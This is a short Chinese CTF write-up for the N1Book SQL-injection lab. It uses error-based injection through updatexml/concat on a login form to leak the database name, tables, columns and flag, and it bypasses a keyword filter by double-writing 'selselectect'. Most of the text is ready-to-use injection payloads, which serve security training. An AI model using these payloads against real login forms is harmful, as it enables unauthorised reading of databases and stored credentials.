N1Book-第一章Web入門-CTF中的SQL注入-SQL注入-2
進入場景,顯示一個登錄框
查看網頁源代碼,找到注釋中的提示:在url中加入?tips=1出現報錯信息
<!-- 如果覺得太難了,可以在url后加入?tips=1 開啟mysql錯誤提示,使用burp發包就可以看到啦-->
可知本題考察報錯注入
1.嘗試獲取當前數據庫的庫名
name=xxx' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&pass=xxx
2.獲取表名
name=xxx' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&pass=xxx
報錯說明我們的sql語句被進行了某種替換,導致語法錯誤。嘗試雙寫繞過(不明白為啥第一次沒報錯?)
name=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&pass=xxx
3.獲取字段名
name=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),0x7e),1)--+&pass=xxx
4.獲取flag
name=xxx' and updatexml(1,concat(0x7e,(selselectect flag from fl4g),0x7e),1)--+&pass=xxx